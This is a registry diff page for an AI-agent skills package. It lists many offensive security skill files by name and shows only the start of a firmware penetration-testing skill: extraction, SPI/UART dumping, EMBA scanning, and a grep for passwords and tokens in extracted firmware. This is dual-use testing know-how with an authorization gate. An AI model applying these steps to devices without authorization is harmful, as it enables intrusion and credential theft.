opencode-skills-collection 4.0.43 → 4.0.44
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bundled-skills/.antigravity-install-manifest.json +47 -1
- package/bundled-skills/api-rate-limit-handler/SKILL.md +282 -0
- package/bundled-skills/api-security/SKILL.md +205 -0
- package/bundled-skills/api-security/references/jwt-oauth-testing.md +123 -0
- package/bundled-skills/api-security/references/rest-graphql-testing.md +137 -0
- package/bundled-skills/apk-reverse/SKILL.md +438 -0
- package/bundled-skills/apk-reverse/references/android-advanced.md +365 -0
- package/bundled-skills/apk-reverse/references/apk-security-checklist.md +230 -0
- package/bundled-skills/apk-reverse/references/frida-bypass-kit.md +70 -0
- package/bundled-skills/apk-reverse/references/frida-cookbook.md +472 -0
- package/bundled-skills/attack-chain/SKILL.md +185 -0
- package/bundled-skills/attack-chain/references/attack-playbooks.md +126 -0
- package/bundled-skills/attack-chain/references/evasion-cheatsheet.md +133 -0
- package/bundled-skills/attack-chain/references/lifecycle-checklist.md +37 -0
- package/bundled-skills/attack-chain/references/phases.md +490 -0
- package/bundled-skills/binary-diff/SKILL.md +320 -0
- package/bundled-skills/binary-diff/references/prompt-template.md +173 -0
- package/bundled-skills/browser-extension-reverse/SKILL.md +99 -0
- package/bundled-skills/browser-extension-reverse/references/extension-analysis.md +10 -0
- package/bundled-skills/case-review/SKILL.md +167 -0
- package/bundled-skills/cloud-k8s/SKILL.md +124 -0
- package/bundled-skills/cloud-k8s/references/k8s-cloud-checklist.md +16 -0
- package/bundled-skills/code-audit/SKILL.md +92 -0
- package/bundled-skills/code-audit/references/sast-review-checklist.md +10 -0
- package/bundled-skills/database-security/SKILL.md +81 -0
- package/bundled-skills/database-security/references/db-misconfig-checklist.md +9 -0
- package/bundled-skills/diagram-generator/SKILL.md +199 -0
- package/bundled-skills/diagram-generator/references/README.md +3 -0
- package/bundled-skills/diagram-generator/references/diagram-patterns.md +254 -0
- package/bundled-skills/digital-forensics/SKILL.md +93 -0
- package/bundled-skills/digital-forensics/references/forensics-triage.md +10 -0
- package/bundled-skills/docs/integrations/jetski-cortex.md +3 -3
- package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +1 -1
- package/bundled-skills/docs/maintainers/repo-growth-seo.md +1 -1
- package/bundled-skills/docs/maintainers/skills-update-guide.md +1 -1
- package/bundled-skills/docs/sources/sources.md +9 -0
- package/bundled-skills/docs/users/aas-core.md +1 -1
- package/bundled-skills/docs/users/bundles.md +1 -1
- package/bundled-skills/docs/users/claude-code-skills.md +1 -1
- package/bundled-skills/docs/users/gemini-cli-skills.md +1 -1
- package/bundled-skills/docs/users/kiro-integration.md +1 -1
- package/bundled-skills/docs/users/usage.md +3 -3
- package/bundled-skills/docs/users/visual-guide.md +4 -4
- package/bundled-skills/docs-generator/SKILL.md +197 -0
- package/bundled-skills/docs-generator/references/security-report-templates.md +348 -0
- package/bundled-skills/docs-generator/references/templates.md +102 -0
- package/bundled-skills/docs-generator/references/vendor-report-rules.md +263 -0
- package/bundled-skills/dotnet-reverse/SKILL.md +197 -0
- package/bundled-skills/dotnet-reverse/references/common-workflow.md +171 -0
- package/bundled-skills/dotnet-reverse/references/obfuscators.md +145 -0
- package/bundled-skills/dotnet-reverse/references/sharp-tools.md +164 -0
- package/bundled-skills/edr-bypass-re/SKILL.md +248 -0
- package/bundled-skills/edr-bypass-re/references/hook-survey.md +226 -0
- package/bundled-skills/edr-bypass-re/references/telemetry-blinding.md +346 -0
- package/bundled-skills/edr-bypass-re/references/unhook-techniques.md +338 -0
- package/bundled-skills/email-security/SKILL.md +81 -0
- package/bundled-skills/email-security/references/email-auth-checklist.md +8 -0
- package/bundled-skills/firmware-pentest/SKILL.md +381 -0
- package/bundled-skills/firmware-pentest/references/emba-automated-analysis.md +192 -0
- package/bundled-skills/firmware-pentest/references/emulation-and-fuzz.md +337 -0
- package/bundled-skills/firmware-pentest/references/extraction-methodology.md +285 -0
- package/bundled-skills/ghidra-reverse/SKILL.md +98 -0
- package/bundled-skills/ghidra-reverse/references/ghidra-cheatsheet.md +12 -0
- package/bundled-skills/go-rust-reverse/SKILL.md +82 -0
- package/bundled-skills/go-rust-reverse/references/go-rust-notes.md +5 -0
- package/bundled-skills/hardware-security/SKILL.md +80 -0
- package/bundled-skills/hardware-security/references/debug-interface-triage.md +7 -0
- package/bundled-skills/ida-reverse/SKILL.md +401 -0
- package/bundled-skills/ida-reverse/references/LOCAL-SETUP.md +66 -0
- package/bundled-skills/ida-reverse/references/ida-mcp-cheatsheet.md +515 -0
- package/bundled-skills/identity-federation/SKILL.md +81 -0
- package/bundled-skills/identity-federation/references/sso-flow-checklist.md +9 -0
- package/bundled-skills/instructree/SKILL.md +94 -0
- package/bundled-skills/js-reverse/SKILL.md +239 -0
- package/bundled-skills/js-reverse/references/ast-deobfuscation.md +3 -0
- package/bundled-skills/js-reverse/references/automation-entry.md +12 -0
- package/bundled-skills/js-reverse/references/env-patching.md +6 -0
- package/bundled-skills/js-reverse/references/fallbacks.md +8 -0
- package/bundled-skills/js-reverse/references/instrumentation.md +9 -0
- package/bundled-skills/js-reverse/references/local-rebuild.md +11 -0
- package/bundled-skills/js-reverse/references/mcp-task-template.md +30 -0
- package/bundled-skills/js-reverse/references/node-env-rebuild.md +9 -0
- package/bundled-skills/js-reverse/references/output-contract.md +9 -0
- package/bundled-skills/js-reverse/references/task-artifacts.md +11 -0
- package/bundled-skills/js-reverse/references/task-input-template.md +11 -0
- package/bundled-skills/js-reverse/references/tool-defaults.md +7 -0
- package/bundled-skills/llm-security/SKILL.md +160 -0
- package/bundled-skills/llm-security/references/agent-obedience-engineering.md +243 -0
- package/bundled-skills/llm-security/references/agent-security-testing.md +116 -0
- package/bundled-skills/llm-security/references/owasp-llm-top10.md +48 -0
- package/bundled-skills/llm-security/references/prompt-injection-methodology.md +107 -0
- package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
- package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
- package/bundled-skills/macos-reverse/SKILL.md +85 -0
- package/bundled-skills/macos-reverse/references/macho-triage.md +10 -0
- package/bundled-skills/malware-analysis/SKILL.md +311 -0
- package/bundled-skills/malware-analysis/references/anti-analysis-techniques.md +205 -0
- package/bundled-skills/malware-analysis/references/sandbox-orchestration.md +204 -0
- package/bundled-skills/malware-analysis/references/yara-sigma-rules.md +232 -0
- package/bundled-skills/mobile-reverse/SKILL.md +222 -0
- package/bundled-skills/mobile-reverse/references/anti-detection-bypass.md +182 -0
- package/bundled-skills/mobile-reverse/references/frida-objection-deep.md +218 -0
- package/bundled-skills/mobile-reverse/references/ios-reverse-guide.md +177 -0
- package/bundled-skills/muapi-media/SKILL.md +311 -0
- package/bundled-skills/ot-ics/SKILL.md +117 -0
- package/bundled-skills/ot-ics/references/ot-safe-assessment.md +10 -0
- package/bundled-skills/patch-diff-exploit/SKILL.md +278 -0
- package/bundled-skills/patch-diff-exploit/references/diff-tools-comparison.md +271 -0
- package/bundled-skills/patch-diff-exploit/references/patch-tuesday-workflow.md +253 -0
- package/bundled-skills/patch-diff-exploit/references/root-cause-and-poc.md +198 -0
- package/bundled-skills/pentest-tools/SKILL.md +346 -0
- package/bundled-skills/pentest-tools/references/ai-pentest-agents.md +148 -0
- package/bundled-skills/pentest-tools/references/ai-pentesting-landscape-2026.md +73 -0
- package/bundled-skills/pentest-tools/references/automation-loop-pattern.md +153 -0
- package/bundled-skills/pentest-tools/references/awesome-pentest-digest.md +175 -0
- package/bundled-skills/pentest-tools/references/burpsuite-mcp-guide.md +769 -0
- package/bundled-skills/pentest-tools/references/client-side-lab-playbook.md +155 -0
- package/bundled-skills/pentest-tools/references/kali-mcp-ecosystem.md +119 -0
- package/bundled-skills/pentest-tools/references/msf-protocol.md +169 -0
- package/bundled-skills/pentest-tools/references/network-attack-defense.md +350 -0
- package/bundled-skills/pentest-tools/references/nuclei-guide-2026.md +157 -0
- package/bundled-skills/pentest-tools/references/payloads.md +32 -0
- package/bundled-skills/pentest-tools/references/pentest-ai-agents-matrix.md +117 -0
- package/bundled-skills/pentest-tools/references/pentest-loop.md +270 -0
- package/bundled-skills/pentest-tools/references/recon-pipeline.md +154 -0
- package/bundled-skills/pentest-tools/references/templates/findings.md +21 -0
- package/bundled-skills/pentest-tools/references/templates/progress.md +17 -0
- package/bundled-skills/pentest-tools/references/templates/rules.md +35 -0
- package/bundled-skills/pentest-tools/references/templates/scope.md +29 -0
- package/bundled-skills/pentest-tools/references/templates/task_plan.md +27 -0
- package/bundled-skills/pentest-tools/references/web-attack-cheatsheet.md +387 -0
- package/bundled-skills/pentest-tools/src-hunter/SKILL.md +243 -0
- package/bundled-skills/pentest-tools/src-hunter/references/README.en.md +115 -0
- package/bundled-skills/pentest-tools/src-hunter/references/README.md +148 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/00-index.md +44 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md +515 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md +274 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/00-index.md +66 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/banking-finance.md +338 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/telecom-isp.md +315 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/00-index.md +68 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/01-attack-priority.md +143 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md +357 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/03-evidence-discipline.md +205 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/04-control-gap-hunting.md +238 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/05-srctimebox-priority.md +161 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/adcs/346/224/273/345/207/273.md +254 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange/346/224/273/345/207/273.md +254 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint/346/224/273/345/207/273.md +113 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//344/277/241/346/201/257/346/224/266/351/233/206.md +947 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/205/215/346/235/200/344/270/216/350/247/204/351/201/277.md +780 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/207/255/350/257/201/347/252/203/345/217/226.md +1259 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/237/237/346/270/227/351/200/217/346/224/273/345/207/273.md +753 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/346/217/220/345/215/207.md +819 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/347/273/264/346/214/201.md +577 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/250/252/345/220/221/347/247/273/345/212/250.md +838 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//351/232/247/351/201/223/344/273/243/347/220/206.md +604 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ai/345/256/211/345/205/250.md +698 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/api/345/256/211/345/205/250.md +1935 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/csrf/350/267/250/347/253/231/350/257/267/346/261/202/344/274/252/351/200/240.md +952 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/jwt/345/256/211/345/205/250.md +496 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi/346/226/207/344/273/266/345/214/205/345/220/253.md +1365 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce/350/277/234/347/250/213/344/273/243/347/240/201/346/211/247/350/241/214.md +1329 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/sql-nosql/346/263/250/345/205/245.md +1924 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssrf/346/234/215/345/212/241/347/253/257/350/257/267/346/261/202/344/274/252/351/200/240.md +1256 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti/346/250/241/346/235/277/346/263/250/345/205/245.md +1151 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/websocket/345/256/211/345/205/250.md +487 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss/350/267/250/347/253/231/350/204/232/346/234/254.md +1465 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xxe/345/256/236/344/275/223/346/263/250/345/205/245.md +815 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/270/232/345/212/241/351/200/273/350/276/221/346/274/217/346/264/236.md +594 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/272/221/345/256/211/345/205/250/346/274/217/346/264/236.md +561 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/276/233/345/272/224/351/223/276/346/224/273/345/207/273.md +399 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/216/237/345/236/213/351/223/276/346/261/241/346/237/223.md +401 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/274/200/346/224/276/351/207/215/345/256/232/345/220/221.md +396 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/226/207/344/273/266/346/274/217/346/264/236.md +0 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/241/206/346/236/266/346/274/217/346/264/236.md +2304 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/202/271/345/207/273/345/212/253/346/214/201.md +339 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/274/223/345/255/230/344/270/216cdn/345/256/211/345/205/250.md +497 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/256/244/350/257/201/346/274/217/346/264/236.md +1778 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/257/267/346/261/202/350/265/260/347/247/201.md +854 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/index.md +69 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/web/346/270/227/351/200/217.md +662 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/windows/346/270/227/351/200/217.md +100 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//344/277/241/346/201/257/346/224/266/351/233/206.md +852 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/206/205/347/275/221/346/270/227/351/200/217.md +873 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/207/255/350/257/201/347/252/203/345/217/226.md +186 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/237/237/346/270/227/351/200/217.md +50 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/257/206/347/240/201/346/224/273/345/207/273.md +462 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/235/203/351/231/220/346/217/220/345/215/207.md +168 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/274/217/346/264/236/345/210/251/347/224/250.md +445 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/263/273/347/273/237/345/221/275/344/273/244.md +410 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/272/242/351/230/237/345/267/245/345/205/267.md +64 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/274/226/347/240/201/350/247/243/347/240/201.md +226 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//351/232/247/351/201/223/344/273/243/347/220/206.md +84 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/waf-bypass.md +6504 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/00-index.md +57 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/api-rest.md +2050 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/arbitrary-x-authz.md +481 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/dos.md +615 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/file-upload.md +1365 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/graphql.md +253 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/http-smuggling.md +924 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/info-disclosure.md +432 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/intranet-postexp.md +4845 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md +1394 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/logic-flaws.md +1796 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/mobile.md +397 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/oauth-saml-jwt.md +2504 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md +1297 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/race-conditions.md +207 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/rce.md +4829 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/sqli.md +1620 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md +2098 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/unauth-access.md +330 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/xss.md +1159 -0
- package/bundled-skills/pentest-tools/src-hunter/references/templates/report-submission.md +346 -0
- package/bundled-skills/pentest-tools/src-hunter/references/tools/mcp-jshook.md +174 -0
- package/bundled-skills/protocol-reverse/SKILL.md +108 -0
- package/bundled-skills/protocol-reverse/references/protocol-workflow.md +29 -0
- package/bundled-skills/pwn-chain/SKILL.md +209 -0
- package/bundled-skills/pwn-chain/references/heap-pwn.md +283 -0
- package/bundled-skills/pwn-chain/references/kernel-pwn.md +370 -0
- package/bundled-skills/pwn-chain/references/stack-pwn.md +312 -0
- package/bundled-skills/radare2/SKILL.md +460 -0
- package/bundled-skills/radare2/references/cheatsheet.md +129 -0
- package/bundled-skills/radio-sdr/SKILL.md +77 -0
- package/bundled-skills/radio-sdr/references/sdr-lab-rules.md +6 -0
- package/bundled-skills/reverse-browser-automation/SKILL.md +249 -0
- package/bundled-skills/reverse-browser-automation/references/playwright-cheatsheet.md +425 -0
- package/bundled-skills/reverse-engineering/SKILL.md +213 -0
- package/bundled-skills/reverse-engineering/dsl-vm-reverse/SKILL.md +388 -0
- package/bundled-skills/reverse-engineering/references/ai-assisted-re.md +149 -0
- package/bundled-skills/reverse-engineering/references/anti-analysis.md +836 -0
- package/bundled-skills/reverse-engineering/references/awesome-re-resources.md +135 -0
- package/bundled-skills/reverse-engineering/references/crypto-decode-tools.md +220 -0
- package/bundled-skills/reverse-engineering/references/elf-analysis.md +296 -0
- package/bundled-skills/reverse-engineering/references/field-notes.md +540 -0
- package/bundled-skills/reverse-engineering/references/go-reverse.md +240 -0
- package/bundled-skills/reverse-engineering/references/kernel-driver-reverse.md +298 -0
- package/bundled-skills/reverse-engineering/references/languages-compiled.md +587 -0
- package/bundled-skills/reverse-engineering/references/languages-platforms.md +486 -0
- package/bundled-skills/reverse-engineering/references/languages.md +499 -0
- package/bundled-skills/reverse-engineering/references/nonpe-format-cookbook.md +301 -0
- package/bundled-skills/reverse-engineering/references/ollvm-deobfuscation.md +501 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf-2.md +397 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf-3.md +719 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf.md +532 -0
- package/bundled-skills/reverse-engineering/references/patterns.md +801 -0
- package/bundled-skills/reverse-engineering/references/platforms-hardware.md +304 -0
- package/bundled-skills/reverse-engineering/references/platforms.md +442 -0
- package/bundled-skills/reverse-engineering/references/re-agent-workflow.md +240 -0
- package/bundled-skills/reverse-engineering/references/tools-advanced.md +822 -0
- package/bundled-skills/reverse-engineering/references/tools-dynamic.md +846 -0
- package/bundled-skills/reverse-engineering/references/tools.md +546 -0
- package/bundled-skills/supply-chain-security/SKILL.md +180 -0
- package/bundled-skills/supply-chain-security/references/cicd-pipeline-security.md +137 -0
- package/bundled-skills/supply-chain-security/references/sbom-sca-methodology.md +74 -0
- package/bundled-skills/thick-client/SKILL.md +104 -0
- package/bundled-skills/thick-client/references/thick-client-checklist.md +9 -0
- package/bundled-skills/threat-hunting/SKILL.md +94 -0
- package/bundled-skills/threat-hunting/references/hunting-loop.md +5 -0
- package/bundled-skills/threat-intelligence/SKILL.md +176 -0
- package/bundled-skills/threat-intelligence/references/x-public-intelligence.md +93 -0
- package/bundled-skills/tree-ring-memory/SKILL.md +29 -9
- package/bundled-skills/wifi-wireless/SKILL.md +80 -0
- package/bundled-skills/wifi-wireless/references/wireless-lab-rules.md +6 -0
- package/bundled-skills/windows-ad/SKILL.md +109 -0
- package/bundled-skills/windows-ad/references/ad-attack-paths.md +12 -0
- package/package.json +1 -1
- package/skills_index.json +1214 -2
|
@@ -0,0 +1,381 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: firmware-pentest
|
|
3
|
+
description: "Firmware penetration testing following the OWASP FSTM nine-stage flow: extraction, EMBA automation, Firmadyne/QEMU emulation, AFL++ fuzzing, and hands-on exploitation in authorized labs."
|
|
4
|
+
risk: offensive
|
|
5
|
+
source: "https://github.com/zhaoxuya520/reverse-skill"
|
|
6
|
+
source_repo: "zhaoxuya520/reverse-skill"
|
|
7
|
+
source_type: community
|
|
8
|
+
date_added: "2026-08-25"
|
|
9
|
+
license: "MIT"
|
|
10
|
+
license_source: "https://github.com/zhaoxuya520/reverse-skill/blob/main/LICENSE"
|
|
11
|
+
---
|
|
12
|
+
> **⚠️ AUTHORIZED USE ONLY**
|
|
13
|
+
> This skill is for educational purposes or authorized security assessments only.
|
|
14
|
+
> You must have explicit, written permission from the system owner before using this tool.
|
|
15
|
+
> Misuse of this tool is illegal and strictly prohibited.
|
|
16
|
+
|
|
17
|
+
> **Mandatory confirmation gate**
|
|
18
|
+
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
|
|
19
|
+
> 1. Ask the user to state the exact target URL, IP, account, or resource.
|
|
20
|
+
> 2. Ask the user to confirm written authorization and the permitted scope.
|
|
21
|
+
> 3. Show the exact command(s) and explain their expected effect.
|
|
22
|
+
> 4. Wait for explicit confirmation in the current conversation.
|
|
23
|
+
>
|
|
24
|
+
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
|
|
25
|
+
|
|
26
|
+
# 固件 / IoT 渗透链 (Firmware Pentest)
|
|
27
|
+
## When to Use
|
|
28
|
+
|
|
29
|
+
- Assessing device firmware within an authorized engagement.
|
|
30
|
+
- Building an emulated environment for repeatable firmware analysis.
|
|
31
|
+
|
|
32
|
+
|
|
33
|
+
## 适用范围
|
|
34
|
+
|
|
35
|
+
下列任务进入本 skill:
|
|
36
|
+
|
|
37
|
+
1. **拿到一份固件文件**(.bin / .img / .trx / .chk / OTA zip),需要从零到 RCE
|
|
38
|
+
2. **路由器/摄像头/IoT 设备审计** — 需要批量发现已知 CVE 和未公开漏洞
|
|
39
|
+
3. **加密/打包固件**,需要找 bootloader 解密例程或硬件 dump
|
|
40
|
+
4. **需要在不接触硬件的情况下跑起来**(QEMU 全系统仿真 / Firmadyne / FAT)
|
|
41
|
+
5. **对仿真起来的服务做 fuzz**(AFL++ qemu mode / boofuzz)
|
|
42
|
+
6. **硬件接口接入**(UART / JTAG / SPI flash dump)
|
|
43
|
+
|
|
44
|
+
### 与其他 skill 分工
|
|
45
|
+
|
|
46
|
+
| 场景 | 用什么 |
|
|
47
|
+
|------|--------|
|
|
48
|
+
| 从零拿到固件,全链路走 FSTM | **本 skill** |
|
|
49
|
+
| 只做单个 ELF/so 静态逆向 | `reverse-engineering/`、`ida-reverse/`、`radare2/` |
|
|
50
|
+
| 仿真起来后做 Web/RCE 利用 | `pentest-tools/`、`attack-chain/` |
|
|
51
|
+
| 硬件接口(UART/JTAG/SPI)实操 | 本 skill 的 Stage 2 章节 + `patterns-hardware.md` |
|
|
52
|
+
| APK / Android 固件(含 boot.img) | `apk-reverse/`(先剥 boot.img 再用本 skill) |
|
|
53
|
+
| 跨版本固件符号迁移 | `binary-diff/` |
|
|
54
|
+
|
|
55
|
+
## 核心原理
|
|
56
|
+
|
|
57
|
+
```text
|
|
58
|
+
固件 .bin
|
|
59
|
+
│
|
|
60
|
+
├─ Stage 1-3: 信息收集 / 获取 / 静态分析(不解压也能看的部分)
|
|
61
|
+
│
|
|
62
|
+
├─ Stage 4: 提取文件系统 ← binwalk v3 / unblob / jefferson / ubi_reader
|
|
63
|
+
│ │
|
|
64
|
+
│ └─ 失败 → 找 bootloader 解密例程 / UART dump / SPI flash 硬件读
|
|
65
|
+
│
|
|
66
|
+
├─ Stage 5: 文件系统静态分析 ← EMBA 自动化 + 手工 grep
|
|
67
|
+
│
|
|
68
|
+
├─ Stage 6: 模拟运行 ← Firmadyne / FAT / qemu-user-static + chroot
|
|
69
|
+
│
|
|
70
|
+
├─ Stage 7-8: 动态 / 运行时分析 ← gdb-multiarch、IDA 远程调试、Ghidra
|
|
71
|
+
│
|
|
72
|
+
└─ Stage 9: 二进制利用 ← AFL++ fuzz / 手工 PoC / ARM / MIPS payload
|
|
73
|
+
```
|
|
74
|
+
|
|
75
|
+
关键判断:
|
|
76
|
+
- 提取失败不等于固件加密,先把 binwalk v2、binwalk v3、unblob、jefferson、ubi_reader 全跑一遍
|
|
77
|
+
- EMBA 一行命令出 HTML 报告,能省 80% 体力,剩 20% 是真正的漏洞挖掘
|
|
78
|
+
- 仿真起不来时优先怀疑 NVRAM 缺失、网卡名错配、`/dev/` 节点缺失
|
|
79
|
+
- ARM / MIPS payload 必须区分大小端(mipsel vs mipseb),别用错
|
|
80
|
+
|
|
81
|
+
## OWASP FSTM 九阶段工作流
|
|
82
|
+
|
|
83
|
+
### Stage 1 — 信息收集(Information Gathering)
|
|
84
|
+
|
|
85
|
+
收集型号、芯片、SDK、已公开 CVE。
|
|
86
|
+
|
|
87
|
+
```bash
|
|
88
|
+
# FCC ID 查询(美区设备)
|
|
89
|
+
curl -s "https://fccid.io/?q=$FCC_ID"
|
|
90
|
+
|
|
91
|
+
# 芯片识别参考点
|
|
92
|
+
echo "Realtek RTL8197 / Broadcom BCM / MediaTek MT76 / Qualcomm IPQ"
|
|
93
|
+
```
|
|
94
|
+
|
|
95
|
+
输出:芯片型号、SDK 来源(SDK 决定 binwalk 能否一把成功)。
|
|
96
|
+
|
|
97
|
+
### Stage 2 — 获取固件(Obtaining Firmware)
|
|
98
|
+
|
|
99
|
+
四条路:官网下载、OTA 抓包、UART 落 shell 后 dump、SPI flash 物理读。
|
|
100
|
+
|
|
101
|
+
```bash
|
|
102
|
+
# OTA 抓包后批量下载
|
|
103
|
+
mitmdump -s save_response.py
|
|
104
|
+
|
|
105
|
+
# UART 接入(USB-TTL,常用波特率 57600 / 115200)
|
|
106
|
+
picocom -b 115200 /dev/ttyUSB0
|
|
107
|
+
|
|
108
|
+
# SPI flash 用 CH341A + flashrom 读
|
|
109
|
+
flashrom -p ch341a_spi -r dump.bin
|
|
110
|
+
```
|
|
111
|
+
|
|
112
|
+
### Stage 3 — 分析固件(Analyzing Firmware)
|
|
113
|
+
|
|
114
|
+
不解压先看头部、熵、字符串、可识别签名。
|
|
115
|
+
|
|
116
|
+
```bash
|
|
117
|
+
binwalk firmware.bin # magic 扫描
|
|
118
|
+
binwalk -E firmware.bin # 熵图,高熵段=压缩/加密
|
|
119
|
+
strings -n 8 firmware.bin | less # banner / 内核版本 / 路径
|
|
120
|
+
file firmware.bin
|
|
121
|
+
hexdump -C firmware.bin | head -64
|
|
122
|
+
```
|
|
123
|
+
|
|
124
|
+
### Stage 4 — 提取文件系统(Extracting Filesystem)
|
|
125
|
+
|
|
126
|
+
详见 `references/extraction-methodology.md`。
|
|
127
|
+
|
|
128
|
+
```bash
|
|
129
|
+
binwalk -eM firmware.bin # 递归提取
|
|
130
|
+
unblob -d out/ firmware.bin # 处理 binwalk 失败的格式
|
|
131
|
+
jefferson rootfs.jffs2 -d rootfs/ # JFFS2
|
|
132
|
+
ubireader_extract_files rootfs.ubi # UBI
|
|
133
|
+
```
|
|
134
|
+
|
|
135
|
+
### Stage 5 — 静态分析文件系统(Filesystem Analysis)
|
|
136
|
+
|
|
137
|
+
EMBA 一键扫,详见 `references/emba-automated-analysis.md`。
|
|
138
|
+
|
|
139
|
+
```bash
|
|
140
|
+
sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba
|
|
141
|
+
```
|
|
142
|
+
|
|
143
|
+
手工补:
|
|
144
|
+
|
|
145
|
+
```bash
|
|
146
|
+
grep -rE "(password|passwd|admin|secret|api_key|token)=" squashfs-root/
|
|
147
|
+
find squashfs-root/ -name "*.conf" -o -name "*.ini" -o -name "shadow"
|
|
148
|
+
checksec --file=squashfs-root/usr/sbin/httpd
|
|
149
|
+
